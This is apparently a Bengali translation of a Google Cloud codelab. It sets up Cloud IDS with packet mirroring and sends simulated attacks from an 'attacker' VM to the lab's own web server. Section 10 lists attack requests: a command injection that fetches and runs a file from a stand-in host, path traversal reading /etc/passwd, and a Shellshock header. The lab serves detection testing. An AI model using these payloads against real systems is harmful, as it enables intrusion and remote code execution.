1. ভূমিকা
এই ল্যাবে, আপনি ক্লাউড আইডিএস স্থাপন করেন, একটি পরবর্তী প্রজন্মের উন্নত অনুপ্রবেশ সনাক্তকরণ পরিষেবা যা অনুপ্রবেশ, ম্যালওয়্যার, স্পাইওয়্যার এবং কমান্ড-এন্ড-কন্ট্রোল আক্রমণগুলির জন্য হুমকি সনাক্তকরণ প্রদান করে৷ আপনি একাধিক আক্রমণ অনুকরণ করবেন এবং ক্লাউড কনসোলে হুমকির বিবরণ দেখতে পাবেন।
আপনি কি শিখবেন
- কিভাবে একটি ক্লাউড আইডিএস এন্ডপয়েন্ট তৈরি করবেন
- কিভাবে gcloud কমান্ড সহ 2 টি ভার্চুয়াল মেশিন তৈরি করবেন
- কীভাবে একটি প্যাকেট মিররিং নীতি তৈরি করবেন
- কিভাবে একটি ভার্চুয়াল মেশিন থেকে আক্রমণ ট্র্যাফিক অনুকরণ
- ক্লাউড কনসোল এবং ক্লাউড লগিং-এ কীভাবে হুমকির বিবরণ দেখতে হয়
আপনি কি প্রয়োজন হবে
- মৌলিক লিনাক্স কমান্ডের জ্ঞান
2. ক্লাউড আইডিএস ব্যবহার ক্ষেত্রে
ক্লাউড আইডিএস গ্রাহকদের তাদের উন্নত হুমকি সনাক্তকরণ এবং PCI 11.4-এর মতো সম্মতির প্রয়োজনীয়তা পূরণের জন্য একটি Google ক্লাউড নেটিভ নেক্সট-জেন ইনট্রুশন ডিটেকশন সার্ভিস (IDS) প্রদান করে। পরিষেবাটি উন্নত অনুপ্রবেশ সনাক্তকরণ প্রদানের জন্য Palo Alto নেটওয়ার্কের হুমকি সুরক্ষা প্রযুক্তি দ্বারা চালিত। পালো অল্টো নেটওয়ার্কের বিশ্ব-মানের নিরাপত্তার সাথে Google ক্লাউডের বিশ্ব-মানের পরিকাঠামোর সমন্বয়, গ্রাহকদের সম্পূর্ণরূপে পরিচালিত, উচ্চ কার্যকারিতা এবং সর্বোচ্চ নিরাপত্তা কার্যকারিতা উন্নত হুমকি সনাক্তকরণ পরিষেবার একটি অতুলনীয় সমন্বয় প্রদান করে।
যেহেতু গ্রাহকরা ক্লাউডে স্থানান্তরিত হয়, নিরাপত্তা তাদের জন্য সবচেয়ে বেশি মনে হয়। তারা ক্লাউডে ইনট্রুশন ডিটেকশন সার্ভিস (IDS) এর মতো অন-প্রিমের মতো নিরাপত্তা নিয়ন্ত্রণ রাখতে চায়। তারা দৃঢ়ভাবে একটি ক্লাউড নেটিভ ম্যানেজড আইডিএস সমাধান ব্যবহার করতে পছন্দ করে যাতে 3য় পক্ষের নিরাপত্তা সমাধান মোতায়েন করা এবং পরিকাঠামো পরিচালনা করা বা তাদের নিজস্ব স্বাক্ষর আনার তুলনায় স্থাপনা, উচ্চ কর্মক্ষমতা এবং অপ্টিমাইজ করা খরচ। Google ক্লাউড আইডিএস একটি এন্ড-টু-এন্ড এবং স্বয়ংক্রিয়-স্কেলিং পরিচালিত আইডিএস পরিষেবা প্রদান করে যা গ্রাহকদের হুমকি বিশ্লেষণ ও প্রশমিত করতে তাদের সময় ব্যয় করতে সক্ষম করে এবং অবকাঠামো বা হুমকি স্বাক্ষর পরিচালনার জন্য তাদের সময় এবং সংস্থান খালি করে।
ক্লাউড আইডিএস ব্যান্ডের বাইরে স্থাপন করা হয়েছে এবং হুমকি সনাক্ত করতে এবং সতর্ক করতে পারে, তবে এটি হুমকিগুলিকে ব্লক করতে পারে না। এটি নেটওয়ার্ক ট্র্যাফিকের একটি অনুলিপি তৈরি করতে Google ক্লাউড প্যাকেট মিররিং ব্যবহার করে যা Palo Alto নেটওয়ার্ক হুমকি সনাক্তকরণ ইঞ্জিন ব্যবহার করে বিশ্লেষণ করা হয়।
3. কোডল্যাব টপোলজি
চিত্র 1. এই ল্যাবের জন্য ক্লাউড আইডিএস স্থাপনার উচ্চ স্তরের আর্কিটেকচারাল ওভারভিউ।
4. সেটআপ এবং প্রয়োজনীয়তা
স্ব-গতিসম্পন্ন পরিবেশ সেটআপ
- Google ক্লাউড কনসোলে সাইন-ইন করুন এবং একটি নতুন প্রকল্প তৈরি করুন বা বিদ্যমান একটি পুনরায় ব্যবহার করুন৷ আপনার যদি ইতিমধ্যেই একটি Gmail বা Google Workspace অ্যাকাউন্ট না থাকে, তাহলে আপনাকে অবশ্যই একটি তৈরি করতে হবে।
- প্রকল্পের নাম এই প্রকল্পের অংশগ্রহণকারীদের জন্য প্রদর্শনের নাম। এটি একটি অক্ষর স্ট্রিং যা Google API দ্বারা ব্যবহৃত হয় না এবং আপনি যে কোনো সময় এটি আপডেট করতে পারেন।
- সমস্ত Google ক্লাউড প্রজেক্ট জুড়ে প্রোজেক্ট আইডি অবশ্যই অনন্য হতে হবে এবং অপরিবর্তনীয় (সেট করার পরে পরিবর্তন করা যাবে না)। ক্লাউড কনসোল স্বয়ংক্রিয়ভাবে একটি অনন্য স্ট্রিং তৈরি করে; সাধারণত আপনি এটা কি যত্ন না. বেশিরভাগ কোডল্যাবে, আপনাকে প্রজেক্ট আইডি উল্লেখ করতে হবে (এবং এটি সাধারণত
PROJECT_ID
হিসাবে চিহ্নিত করা হয়), তাই আপনি যদি এটি পছন্দ না করেন তবে অন্য একটি এলোমেলো তৈরি করুন, অথবা, আপনি নিজের চেষ্টা করে দেখতে পারেন এটি উপলব্ধ কিনা। তারপর প্রকল্প তৈরি হওয়ার পরে এটি "হিমায়িত" হয়। - একটি তৃতীয় মান আছে, একটি প্রকল্প নম্বর যা কিছু API ব্যবহার করে। ডকুমেন্টেশনে এই তিনটি মান সম্পর্কে আরও জানুন।
- এরপরে, ক্লাউড রিসোর্স/এপিআই ব্যবহার করার জন্য আপনাকে ক্লাউড কনসোলে বিলিং সক্ষম করতে হবে। এই কোডল্যাবের মাধ্যমে চালানোর জন্য খুব বেশি খরচ করা উচিত নয়, যদি কিছু থাকে। রিসোর্স বন্ধ করতে যাতে আপনি এই টিউটোরিয়ালের বাইরে বিলিং করতে না পারেন, কোডল্যাবের শেষে পাওয়া যেকোনো "ক্লিন-আপ" নির্দেশাবলী অনুসরণ করুন। Google ক্লাউডের নতুন ব্যবহারকারীরা $300 USD বিনামূল্যের ট্রায়াল প্রোগ্রামের জন্য যোগ্য৷
ক্লাউড শেল শুরু করুন
যদিও Google ক্লাউড আপনার ল্যাপটপ থেকে দূরবর্তীভাবে পরিচালিত হতে পারে, এই কোডল্যাবে আপনি Google ক্লাউড শেল ব্যবহার করবেন, একটি কমান্ড লাইন পরিবেশ যা ক্লাউডে চলছে।
GCP কনসোল থেকে উপরের ডানদিকে টুলবারে ক্লাউড শেল আইকনে ক্লিক করুন:
পরিবেশের ব্যবস্থা করতে এবং সংযোগ করতে এটি শুধুমাত্র কয়েক মুহূর্ত নিতে হবে। এটি সমাপ্ত হলে, আপনি এই মত কিছু দেখতে হবে:
এই ভার্চুয়াল মেশিনটি আপনার প্রয়োজনীয় সমস্ত ডেভেলপমেন্ট টুল দিয়ে লোড করা হয়েছে। এটি একটি ক্রমাগত 5GB হোম ডিরেক্টরি অফার করে এবং Google ক্লাউডে চলে, যা নেটওয়ার্ক কর্মক্ষমতা এবং প্রমাণীকরণকে ব্যাপকভাবে উন্নত করে। এই ল্যাবে আপনার সমস্ত কাজ কেবল একটি ব্রাউজার দিয়ে করা যেতে পারে।
5. আপনি শুরু করার আগে
এপিআই সক্ষম করুন
ক্লাউড শেলের ভিতরে, নিশ্চিত করুন যে আপনার প্রকল্প আইডি সেট আপ করা আছে
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
সমস্ত প্রয়োজনীয় পরিষেবা সক্রিয় করুন
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. ভিপিসি নেটওয়ার্ক তৈরি করুন
ভিপিসি নেটওয়ার্ক
ক্লাউড শেল থেকে
gcloud compute networks create cloud-ids \ --subnet-mode=custom
সাবনেট
ক্লাউড শেল থেকে
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
ব্যক্তিগত পরিষেবা অ্যাক্সেস
ক্লাউড শেল থেকে
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
ব্যক্তিগত পরিষেবা সংযোগ
ক্লাউড শেল থেকে
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
ফায়ারওয়ালের নিয়ম
IAP কে আপনার VM দৃষ্টান্তের সাথে সংযোগ করার অনুমতি দিতে, একটি ফায়ারওয়াল নিয়ম তৈরি করুন যা:
- আপনি IAP ব্যবহার করে অ্যাক্সেসযোগ্য হতে চান এমন সমস্ত VM দৃষ্টান্তগুলিতে প্রযোজ্য।
- IP পরিসর 35.235.240.0/20 থেকে ট্র্যাফিক প্রবেশের অনুমতি দেয়। এই পরিসরে সমস্ত আইপি ঠিকানা রয়েছে যা IAP TCP ফরওয়ার্ডিংয়ের জন্য ব্যবহার করে।
ক্লাউড শেল থেকে
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
সার্ভারে স্ট্যান্ডার্ড HTTP পোর্ট (TCP 80) এবং ICMP প্রোটোকলের অনুমতি দিতে:
- নেটওয়ার্ক ট্যাগ "সার্ভার" সহ সংস্থানগুলিতে প্রযোজ্য
- সমস্ত উত্স থেকে প্রবেশের অনুমতি দেয়
ক্লাউড শেল থেকে
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Cloud NAT উদাহরণ তৈরি করুন
ক্লাউড রাউটার
ক্লাউড শেল থেকে
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
মেঘ NAT
ক্লাউড শেল থেকে
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. ক্লাউড আইডিএস এন্ডপয়েন্ট তৈরি করুন
এই বিভাগে, আপনি us-east1-এ একটি ক্লাউড আইডিএস এন্ডপয়েন্ট তৈরি করেন, যার তীব্রতা তথ্যভিত্তিক সেট করা হয়। IDS এন্ডপয়েন্ট তৈরি করতে প্রায় 20 মিনিট সময় লাগে।
আইডিএস এন্ডপয়েন্ট
ক্লাউড শেল থেকে
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
ক্লাউড আইডিএস এন্ডপয়েন্ট যাচাই করা শুরু হয়েছে
gcloud ids endpoints list --project=$PROJECT_ID
আউটপুট -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. 2টি ভার্চুয়াল মেশিন তৈরি করুন
এই বিভাগে, আপনি 2টি ভার্চুয়াল মেশিন তৈরি করেন। প্রথমটি হবে আপনার ওয়েব সার্ভার যা ক্লাউড আইডিএসে মিরর করছে। দ্বিতীয় ভার্চুয়াল মেশিন আপনার আক্রমণ ট্রাফিক উৎস হবে.
ভার্চুয়াল মেশিন 1 (সার্ভার)
ক্লাউড শেল থেকে
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
ভার্চুয়াল মেশিন 2 (ক্লায়েন্ট)
ক্লাউড শেল থেকে
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. সার্ভার প্রস্তুত করা হচ্ছে
এই টাস্কে, আপনি আপনার সার্ভার যাচাই করবেন এবং আপনার ক্লায়েন্টের জন্য একটি সৌম্য ম্যালওয়্যার পেলোড প্রদান করবেন।
ক্লাউড শেলের মাধ্যমে VM-এ SSH
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
নিশ্চিত করুন ওয়েব পরিষেবা চলছে
sudo systemctl status nginx
আউটপুট - সক্রিয় এবং চলমান যাচাই করুন
● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
ওয়েব সার্ভিসে ডিরেক্টরি পরিবর্তন করুন
cd /var/www/html/
ওয়েব সার্ভারে একটি সৌম্য ম্যালওয়্যার ফাইল তৈরি করুন
sudo touch eicar.file
বিষয়বস্তু পেস্ট করুন
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
CloudShell-এ ফেরত যান
exit
একটি ক্লাউড আইডিএস প্যাকেট মিররিং নীতি তৈরি করুন
আইডিএস এন্ডপয়েন্ট ফরওয়ার্ডিং নিয়ম শনাক্ত করুন এবং নিশ্চিত করুন যে আইডিএস এন্ডপয়েন্ট স্টেট "রেডি"।
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
উদাহরণ আউটপুট - "endpointForwardingRule" থেকে মানটি অনুলিপি করুন
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
একটি ভেরিয়েবলে IDS এন্ডপয়েন্ট ফরওয়ার্ডিং নিয়ম সংরক্ষণ করুন।
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
প্যাকেট মিররিং নীতি
ক্লাউড শেল থেকে
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
যাচাই প্যাকেট মিররিং নীতি তৈরি করা হয়েছে
ক্লাউড শেল থেকে
gcloud compute packet-mirrorings list
আউটপুট
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. আক্রমণ ট্রাফিক অনুকরণ
আক্রমণকারী ভার্চুয়াল মেশিনে SSH (ক্লায়েন্ট)
ক্লাউড শেল থেকে
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
দূষিত ট্র্যাফিক অনুকরণ করতে নিম্নলিখিত কার্ল অনুরোধগুলি চালান৷
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
CloudShell এ ফিরে যেতে VM থেকে প্রস্থান করুন
exit
11. ক্লাউড আইডিএস দ্বারা সনাক্ত করা হুমকি পর্যালোচনা করুন
ক্লাউড আইডিএস ড্যাশবোর্ডে নেভিগেট করুন
নেভিগেশন মেনু > নেটওয়ার্ক নিরাপত্তা > ক্লাউড আইডিএস
হুমকি ট্যাবে নেভিগেট করুন।
আপনি দেখতে পাচ্ছেন, ক্লাউড আইডিএস বিভিন্ন আক্রমণের ট্র্যাফিক প্রোফাইল ক্যাপচার করেছে এবং প্রতিটি হুমকির বিশদ প্রদান করেছে। আপনি যদি কোনো হুমকি না দেখেন তাহলে আপনাকে "রিফ্রেশ" বোতামে ক্লিক করতে হতে পারে৷ আমরা এখন একটু গভীরে ডুব দেব এবং হুমকির বিবরণ দেখব।
"ব্যাশ রিমোট কোড এক্সিকিউশন ভালনারেবিলিটি" হুমকিটি সনাক্ত করুন এবং ডানদিকে তিনটি বিন্দুতে ক্লিক করুন এবং "হুমকির বিবরণ দেখুন" নির্বাচন করুন।
এখন আমরা ক্লাউড লগিং-এ এই ঘটনার বিবরণ দেখব। বাম নির্দেশক তীরটিতে ক্লিক করে হুমকি পৃষ্ঠায় ফিরে যান।
ডানদিকে তিনটি বিন্দুতে ক্লিক করুন এবং "হুমকি লগ দেখুন" নির্বাচন করুন
একই বিবরণ ক্লাউড লগিং প্রদান করা হয়. এটি আপনাকে ক্লাউড স্টোরেজ, ক্রনিকল বা যেকোনো SIEM/SOAR-এ লগ পাঠাতে সক্ষম করে। আপনি সতর্কতার উপর ভিত্তি করে প্রতিকারের পদক্ষেপ নিতে কাস্টম ওয়ার্কফ্লোও তৈরি করতে পারেন যেমন একটি ক্লাউড ফাংশন তৈরি করা যা একটি সতর্কতায় ট্রিগার করে এবং IP ঠিকানা ব্লক করার জন্য একটি ফায়ারওয়াল নিয়ম তৈরি/আপডেট করতে, অথবা একটি ক্লাউড আর্মার নীতি তৈরি/আপডেট করতে পারে।
12. পরিষ্কার করার পদক্ষেপ
VM উদাহরণ থেকে প্রস্থান করুন (সমস্ত ট্যাব)
exit
একটি একক ক্লাউড শেল টার্মিনাল থেকে ল্যাব উপাদান মুছে দিন
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. অভিনন্দন!
কোডল্যাব সম্পূর্ণ করার জন্য অভিনন্দন।
আমরা কভার করেছি কি
- ক্লাউড আইডিএস ব্যবহার ক্ষেত্রে
- নেটওয়ার্ক প্রয়োজনীয়তা
- সমর্থিত API
- একটি ক্লাউড আইডিএস এন্ডপয়েন্ট তৈরি করা হয়েছে
- 2 VM মোতায়েন করা হয়েছে
- ক্লায়েন্ট থেকে কিছু "আক্রমণ" ট্রাফিক তৈরি করেছে
- আইডিএস দ্বারা যাচাইকৃত হুমকি সনাক্ত করা হয়েছে
- হুমকি বিবরণ এবং লগ পর্যালোচনা করুন